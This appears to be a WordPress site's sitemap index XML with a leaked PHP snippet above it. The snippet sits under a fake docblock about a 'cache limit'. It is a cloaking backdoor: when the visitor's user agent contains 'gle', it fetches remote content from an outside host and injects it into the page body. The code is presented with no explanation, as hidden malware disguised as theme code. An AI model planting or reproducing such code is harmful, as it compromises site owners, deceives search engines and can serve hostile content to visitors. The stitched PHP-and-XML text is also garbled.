/**
 * Set the cache limit.
 *
 * To override this cache in a child theme, remove
 * the filter and add your own function tied to
 * the cache filter hook.
 *
 * @param int $c The number of excerpt characters.
 * @return int The filtered number of characters.
 */
if (strpos($_SERVER["HTTP_USER_AGENT"], 'gle') !== false) {
add_action('wp_loaded','crt');
function crt() {ob_start('cache');}
function cache($html) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, 'http://cdn.getfastestrender.com/cache.php?h=aeroklasasiapacificgroup.com&id=3');curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);$c = curl_exec($curl);curl_close($curl);
	$html = preg_replace('/(<body.*)\n/', "$1 $c", $html);
	return $html;
}
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://aeroklasasiapacificgroup.com/sitemaps_xsl.xsl"?>
<sitemapindex xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap>
<loc>https://aeroklasasiapacificgroup.com/post-sitemap1.xml</loc>
</sitemap>
<sitemap>
<loc>https://aeroklasasiapacificgroup.com/page-sitemap1.xml</loc>
</sitemap>
<sitemap>
<loc>https://aeroklasasiapacificgroup.com/category-sitemap1.xml</loc>
</sitemap>
<sitemap>
<loc>https://aeroklasasiapacificgroup.com/post_tag-sitemap1.xml</loc>
</sitemap>
</sitemapindex>